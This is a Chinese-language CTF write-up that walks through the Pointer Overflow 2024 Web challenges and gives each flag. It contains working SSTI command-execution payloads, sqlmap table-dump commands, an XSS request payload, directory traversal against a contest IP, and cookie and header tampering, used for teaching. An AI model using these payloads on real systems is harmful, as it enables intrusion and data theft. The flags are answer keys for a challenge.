Pointer Overflow CTF - 2024 Web全write up
字数 2091 2025-08-22 12:22:30

Pointer Overflow CTF 2024 Web题目全解教学文档

Web 100 - Giving Up the Game

解题步骤

  1. 查看网页源码:在页面中查找隐藏信息
  2. 发现Base64编码字符串
    VGhhbmsgeW91IE1hcmlvISBCdXQgb3VyIHByaW5jZXNzIGlzIGluIGFub3RoZXIgY2FzdGxlIQ==
    
  3. Base64解码
    Thank you Mario! But our princess is in another castle!
    
  4. 访问源码中提到的路径/getSprites
  5. 获取另一Base64编码
    cG9jdGZ7dXdzcF8xXzdIMW5rXzdIM3IzcjBfMV80bX0=
    
  6. 最终解码得到flag
    poctf{uwsp_1_7H1nk_7H3r3r0_1_4m}
    

关键知识点

  • Base64编码识别与解码:常见于CTF中的信息隐藏方式
  • 源码审计:开发者可能在HTML注释或JS代码中隐藏线索

Web 100 - The Way Out is Through

解题步骤

  1. 查看网页源码:发现flag被分为5个部分
  2. 通过控制台获取各部分
    • part_1: "poct"
    • part_2: "f{uwsp_"
    • part_3: 通过document.cookie获取"7h3"
    • part_4: "XzdydTdoXw==" (Base64解码为"7ru7h")
    • part_5: 十六进制数组[49,53,95,48,117,55,95,55,104,51,114,51,125]转换为ASCII为"15_0u7_7h3r3}"
  3. 拼接所有部分
    poctf{uwsp_7h3_7ru7h_15_0u7_7h3r3}
    

关键知识点

  • 多部分flag拼接:flag可能分散在不同位置
  • JavaScript调试技巧:使用控制台执行代码获取信息
  • 数据格式转换:十六进制/ASCII转换、Base64解码

Web 200 - On My Own Terms

解题步骤

  1. 初始访问:页面看似空白
  2. 检查Cookie:发现role参数
  3. 修改Cookie:将role=user改为role=admin
  4. 刷新页面:获取flag

关键知识点

  • Cookie操作:修改身份验证参数是常见提权方法
  • 权限提升:通过修改客户端数据获取更高权限

Web 200 - FBI-SiteAccess

解题步骤

  1. 初始访问:收到"Not FBI-SiteAccess-Authorized-Agent"错误
  2. 识别问题:需要特定User-Agent
  3. 使用Burp Suite拦截请求
  4. 修改User-Agent:设置为"FBI-SiteAccess-Authorized-Agent"
  5. 获取flag

关键知识点

  • HTTP头修改:User-Agent等请求头可能用于访问控制
  • Burp Suite使用:拦截和修改HTTP请求

Web 300 - The Color Drained from His Face

解题步骤

  1. 测试SQL注入
    • ;触发WAF
    • ' and '1'='2'--' or '1'='2'--有不同响应,确认存在注入
    • 确定闭合方式为单引号
  2. 推测SQL语句结构
    SELECT * FROM recipes WHERE Ingredients LIKE '%$var%'
    
  3. 使用sqlmap自动化测试
    sqlmap -r 1.txt -p query --dbs --level 5
    
    • 确认后端为SQLite
    • 枚举表:
      sqlmap -r 1.txt -p query --tables --level 5
      
    • 发现recipes
    • 枚举列:
      sqlmap -r 1.txt -p query -T recipes --columns --level 5
      
    • 发现flag
    • 提取flag:
      sqlmap -r 1.txt -p query -T recipes -C flag --dump --level 5
      

关键知识点

  • SQL注入测试:闭合方式判断、WAF绕过
  • sqlmap高级用法
    • --level参数提高测试强度
    • SQLite特有枚举方式
    • 从请求文件(-r)中指定注入点

Web 100 - I Have Objections

方法1:SSTI利用

  1. 尝试XSS:发现report功能
  2. 测试SSTI:输入{{self}}有回显
  3. 查找eval类:利用下标204的类
  4. 命令执行
    {{''.__class__.__mro__[1].__subclasses__()[204]('ls',shell=True,stdout=-1).communicate()}}
    
  5. 读取源码
    {{''.__class__.__mro__[1].__subclasses__()[204]('cat ./app.py',shell=True,stdout=-1).communicate()}}
    

方法2:XSS利用

  1. 分析源码:发现/flag路由需要X-Requested-With: XMLHttpRequest
  2. 构造XSS payload
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/flag', true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    xhr.onload = function() {
        if(xhr.status === 200) {
            console.log(xhr.responseText);
        }
    };
    xhr.send();
    

关键知识点

  • SSTI检测与利用:模板注入测试、Python类继承链利用
  • XSS进阶利用:AJAX请求头设置
  • 源码审计:通过错误信息推测后端实现

Web 200 - Three Raccoons in a Trench Coat

解题步骤

  1. 参数枚举:对page参数进行fuzz测试
  2. 发现有效页面
    /storybook?page=1
    /storybook?page=2
    /storybook?page=3
    /storybook?page=4
    /storybook?page=100
    /storybook?page=666
    /storybook?page=secret
    /storybook?page=hidden
    /storybook?page=poctf
    /storybook?page=archive
    
  3. 访问特殊页面获取flag

关键知识点

  • 参数fuzzing:常见参数值枚举
  • 隐蔽路径发现:数字、关键词、特殊值测试

Web 400 - A Bitter Delicacy

解题步骤

  1. 尝试登录:使用admin/123456,获取错误信息
  2. 分析错误:发现log/error.logview-file功能
  3. 访问文件查看功能
    http://34.135.223.176:10404/view-file?file=log/error.log
    
  4. 目录遍历
    • 测试发现.hidden目录
    http://34.135.223.176:10404/view-file?file=.hidden/flag.txt
    
  5. 获取flag

关键知识点

  • 错误信息利用:从报错中获取路径信息
  • 文件包含漏洞:参数控制文件读取
  • 隐蔽目录发现:常见隐藏目录/文件测试

总结

本CTF涵盖了Web安全的多个关键领域:

  1. 信息收集:源码审计、错误分析
  2. 加密解码:Base64处理
  3. 注入攻击:SQL注入、SSTI
  4. 客户端安全:Cookie操作、XSS
  5. 权限提升:通过修改请求参数
  6. 文件系统利用:目录遍历、文件读取

每个题目都展示了真实场景中可能遇到的安全问题及解决方案,是学习Web安全的优秀案例。

Pointer Overflow CTF 2024 Web题目全解教学文档 Web 100 - Giving Up the Game 解题步骤 查看网页源码 :在页面中查找隐藏信息 发现Base64编码字符串 : Base64解码 : 访问源码中提到的路径 : /getSprites 获取另一Base64编码 : 最终解码得到flag : 关键知识点 Base64编码识别与解码 :常见于CTF中的信息隐藏方式 源码审计 :开发者可能在HTML注释或JS代码中隐藏线索 Web 100 - The Way Out is Through 解题步骤 查看网页源码 :发现flag被分为5个部分 通过控制台获取各部分 : part_ 1: "poct" part_ 2: "f{uwsp_ " part_ 3: 通过 document.cookie 获取"7h3" part_ 4: "XzdydTdoXw==" (Base64解码为" 7ru7h ") part_ 5: 十六进制数组 [49,53,95,48,117,55,95,55,104,51,114,51,125] 转换为ASCII为"15_ 0u7_ 7h3r3}" 拼接所有部分 : 关键知识点 多部分flag拼接 :flag可能分散在不同位置 JavaScript调试技巧 :使用控制台执行代码获取信息 数据格式转换 :十六进制/ASCII转换、Base64解码 Web 200 - On My Own Terms 解题步骤 初始访问 :页面看似空白 检查Cookie :发现 role 参数 修改Cookie :将 role=user 改为 role=admin 刷新页面 :获取flag 关键知识点 Cookie操作 :修改身份验证参数是常见提权方法 权限提升 :通过修改客户端数据获取更高权限 Web 200 - FBI-SiteAccess 解题步骤 初始访问 :收到"Not FBI-SiteAccess-Authorized-Agent"错误 识别问题 :需要特定User-Agent 使用Burp Suite拦截请求 修改User-Agent :设置为"FBI-SiteAccess-Authorized-Agent" 获取flag 关键知识点 HTTP头修改 :User-Agent等请求头可能用于访问控制 Burp Suite使用 :拦截和修改HTTP请求 Web 300 - The Color Drained from His Face 解题步骤 测试SQL注入 : ; 触发WAF ' and '1'='2'-- 和 ' or '1'='2'-- 有不同响应,确认存在注入 确定闭合方式为单引号 推测SQL语句结构 : 使用sqlmap自动化测试 : 确认后端为SQLite 枚举表: 发现 recipes 表 枚举列: 发现 flag 列 提取flag: 关键知识点 SQL注入测试 :闭合方式判断、WAF绕过 sqlmap高级用法 : --level 参数提高测试强度 SQLite特有枚举方式 从请求文件( -r )中指定注入点 Web 100 - I Have Objections 方法1:SSTI利用 尝试XSS :发现report功能 测试SSTI :输入 {{self}} 有回显 查找eval类 :利用下标204的类 命令执行 : 读取源码 : 方法2:XSS利用 分析源码 :发现 /flag 路由需要 X-Requested-With: XMLHttpRequest 头 构造XSS payload : 关键知识点 SSTI检测与利用 :模板注入测试、Python类继承链利用 XSS进阶利用 :AJAX请求头设置 源码审计 :通过错误信息推测后端实现 Web 200 - Three Raccoons in a Trench Coat 解题步骤 参数枚举 :对 page 参数进行fuzz测试 发现有效页面 : 访问特殊页面获取flag 关键知识点 参数fuzzing :常见参数值枚举 隐蔽路径发现 :数字、关键词、特殊值测试 Web 400 - A Bitter Delicacy 解题步骤 尝试登录 :使用admin/123456,获取错误信息 分析错误 :发现 log/error.log 和 view-file 功能 访问文件查看功能 : 目录遍历 : 测试发现 .hidden 目录 获取flag 关键知识点 错误信息利用 :从报错中获取路径信息 文件包含漏洞 :参数控制文件读取 隐蔽目录发现 :常见隐藏目录/文件测试 总结 本CTF涵盖了Web安全的多个关键领域: 信息收集 :源码审计、错误分析 加密解码 :Base64处理 注入攻击 :SQL注入、SSTI 客户端安全 :Cookie操作、XSS 权限提升 :通过修改请求参数 文件系统利用 :目录遍历、文件读取 每个题目都展示了真实场景中可能遇到的安全问题及解决方案,是学习Web安全的优秀案例。